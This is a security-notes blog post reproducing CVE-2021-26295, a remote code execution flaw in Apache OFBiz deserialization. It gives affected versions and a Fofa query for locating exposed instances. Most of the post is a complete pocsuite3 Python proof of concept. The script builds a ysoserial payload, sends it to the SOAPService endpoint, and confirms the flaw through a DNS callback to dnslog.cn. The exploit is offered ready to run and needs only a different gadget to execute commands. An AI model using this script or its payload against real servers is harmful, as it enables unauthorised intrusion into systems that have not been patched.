Back home
中文
H7 / SECURITY RESEARCH NOTES

Apache OFBiz RMI Deserialization Remote Code Execution Vulnerability Reproduction (CVE-2021-26295)

On this page6 sections

0x01 Vulnerability Details

OFBiz is a well-known e-commerce platform and open-source project. It provides a framework for building medium- and large-scale enterprise, cross-platform, cross-database, cross-application-server, multi-tier distributed e-commerce web application systems based on the latest J2EE/XML specifications and technical standards. logo.png A deserialization remote code execution vulnerability was recently discovered in Apache OFBiz. The vulnerability occurs in ofbiz/base/util/SafeObjectInputStream.java.

0X02 Affected Versions

Apache OFBiz < 17.12.06

0x03 Environment Setup

Fofa search: app="Apache_OFBiz"

0x04 POC Development

# /usr/bin/env python3
# coding:utf8

import os
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import time
import binascii


class Dnslog:
    def __init__(self) -> None:
        self._get_dns_domain_api = 'http://dnslog.cn/getdomain.php'  # 获取子域名
        self._get_dns_record_api = "http://dnslog.cn/getrecords.php"  # 查询dns解析
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
        }
        self._dns = requests.session()
        self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text
        self.msg = '360bugcloud'

    def getrecords(self):
        result = self._dns.get(self._get_dns_record_api,
                               headers=self._headers).text
        if self.msg in result:
            return True
        else:
            return False

    def getdns(self):
        try:
            self._dns.get('http://'+self.msg+'.' +
                          self.dnssubdomain, headers=self._headers)
        except Exception as e:
            pass


class TestPOC(POCBase):
    vulID = 'Hunter-0x07'
    version = 'v1'
    author = ['Hunter-0x07']
    vulDate = '2021-03-24'
    createDate = '2020-03-24'
    updateDate = '2020-03-24'
    references = ['']
    name = 'Apache OFBiz RMI反序列化远程命令执行漏洞'
    appPowerLink = ''
    appName = 'Apache OFBiz'
    appVersion = '''Apache OFBiz < 17.12.06'''
    vulType = 'RCE'
    desc = ''''''

    def _verify(self):
        result = {}
        self.url = self.url.strip("/")
        self._dnslog = Dnslog()

        self.dnssubdomain = f'http://{self._dnslog.msg}.{self._dnslog.dnssubdomain}'
        self._getDeserializingObj()
        self._sendpoc()

        # 休眠等待dns log出结果
        time.sleep(5)

        # 访问dns log,查看是否存在特征
        try:
            logger.info("验证是否存在漏洞....")

            if self._dnslog.getrecords():
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                logger.info("存在漏洞...")

        except Exception as e:
            pass

        return self.parse_output(result)

    def _getDeserializingObj(self):
        """获取反序列化对象"""

        exec = f'java -jar ./pocs/ysoserial.jar URLDNS "{self.dnssubdomain}" > ./pocs/poc'
        if os.path.exists('./pocs/ysoserial.jar'):
            os.system(exec)
        else:
            logger.error('请将附件里名为ysoserial.jar的文件复制到pocs目录!')

    def _sendpoc(self):
        """发送检测poc"""
        try:
            with open('./pocs/poc', 'rb') as f:
                payloadObj = f.read()
                payload = binascii.hexlify(payloadObj).decode()

            post_data = f"""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
<soapenv:Header/>
<soapenv:Body>
<ser>
  <map-HashMap>
      <map-Entry>
          <map-Key>
              <cus-obj>{payload}</cus-obj>
          </map-Key>
          <map-Value>
              <std-String value="{self.dnssubdomain}"/>
          </map-Value>
      </map-Entry>
  </map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
"""
            vul_url = self.url + '/webtools/control/SOAPService'
            res = requests.post(url=vul_url, data=post_data, headers=self.headers, verify=False, allow_redirects=False)

        except Exception as err:
            pass
        finally:
            if os.path.exists('./pocs/poc'):
                os.remove('./pocs/poc')

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)


0x06 POC Reproduction

The vulnerability exists, as shown below:

poc_succcess_1.png

The vulnerability does not exist, as shown below: poc_failed_1.png

0x07 References